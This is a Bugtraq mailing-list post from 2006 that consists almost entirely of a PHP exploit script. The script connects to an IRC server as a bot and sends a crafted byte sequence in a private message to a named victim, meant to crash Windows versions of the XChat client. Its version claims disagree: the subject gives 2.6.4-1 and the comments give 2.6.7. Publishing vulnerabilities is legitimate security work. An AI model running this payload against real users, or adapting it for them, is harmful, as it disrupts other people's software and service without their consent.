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List:       bugtraq
Subject:    XChat <= 2.6.4-1 (win version) Remote Denial of Service Exploit (php)
From:       ratboy727 () gmail ! com
Date:       2006-08-09 23:28:10
Message-ID: 20060809232810.8213.qmail () securityfocus ! com
[Download RAW message or body]

<?php
// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy
// Tested on Windows SP1/SP2          
// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2  

//Stop the script timing out
set_time_limit(0);

//Set constants
define("SERVER", 'irc.enigmagroup.org');
define("PORT", 6667);
define("CHANNEL", "#enigmagroup");  //Set the channel the bot will join here
define("NICK", "ratbot");    //Set the bot's nick here
define("EXPLOIT", "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82");
 define("VICTIM", "ratboy");

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket
$fp = socket_connect($socket, SERVER, PORT); // Connect to the server
socket_write($socket,"USER ratboy ratboy ratboy :ratboy\r\n"); // Send the Username \
to the server socket_write($socket,"NICK ".NICK." \r\n"); // Change our nickname
socket_write($socket,"JOIN ".CHANNEL." \r\n"); // Join the channel
while($data = @socket_read($socket,2046)) { //read the data
    echo $data;
    $cmd = explode(" ", $data);

    if (strpos($data, "PING :")===0) {
        socket_write($socket, "PONG :".substr($data, 6)."\r\n");
        continue;
    }
    
    if($cmd[1] == "PRIVMSG"){  // Send the exploit right when the channel gets a \
message then stop the bot  socket_write($socket, "PRIVMSG ".VICTIM." \
:".EXPLOIT."\r\n");  socket_close($socket);
    }
}

?> 


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